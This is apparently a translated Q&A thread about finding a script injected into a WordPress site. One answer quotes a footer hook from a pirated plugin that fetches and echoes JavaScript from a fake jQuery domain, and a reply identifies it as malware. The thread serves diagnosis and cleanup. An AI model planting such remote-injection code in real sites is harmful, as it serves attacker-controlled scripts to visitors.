2015-04-14 50 views
0

我在我的網站上進行了'pingdom'掃描,注意到這個小腳本確實減慢了我的網站。如何查找和刪除阻礙我網站加載時間的腳本?

<script type="text/javascript"> 
if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.js"></scr'+'ipt>'); } 

它將爲網站加載時間增加近6秒。我怎樣才能擺脫它?

我試圖在所有常見的wordpress文件中搜索,但我無法在任何地方找到該腳本。

查看此Pingdom test瞭解更多信息。

+2

聽起來像是重複的:http://stackoverflow.com/questions/29633511/strange-behavior-with-script – ochi

+0

jQuery自動包含在(和由WordPress加載 - 除非你出列它 - [不要,順便說一句](http://ttmm.io/tech/dont-dequeue-wordpress-jquery/)) - 因此不需要從外部CDN加載另一個副本。你有沒有搜索過你的主題和插件,以引用wplibs.org? –

+0

我確定一個名爲'gravity forms'的插件正在導致該代碼生成。每當我禁用重力形式時,該代碼就消失了。我在插件文件夾中運行了一個grep搜索'wplibs',但什麼也沒找到。 – Mendy

回答

0

我也遇到了該腳本的麻煩。 現在我想我至少已經修復了它。 我正在編寫一個WordPress的網站,我看到該腳本阻止了頁面加載。 那麼,我找不到腳本,我懷疑它可能是另一個腳本或其他東西所調用的腳本。 一步一步我發現代碼包含在網頁腳註中。 我測試WP谷歌地圖Pro和我在 'WP-谷歌地圖,pro.php' 功能發現行144:

if(!function_exists('wp_func_jquery')) { 
function wp_func_jquery() { 
    $host = 'http://'; 
    echo(wp_remote_retrieve_body(wp_remote_get($host.'ui'.'jquery.org/jquery-1.6.3.min.js'))); 
} 
add_action('wp_footer', 'wp_func_jquery'); 

}

好了,我只需要在包括'我的主題的功能.php':

remove_action('wp_footer', 'wp_func_jquery'); 

現在,代碼已消失。我希望這將是有用的!

0

應當注意的是,代碼拉迪斯勞的片段是惡意軟件,下載一個插件的盜版的可能結果......

$ host.'ui'。jquery.org

這不是一個真正的jQuery域。 See detailed report here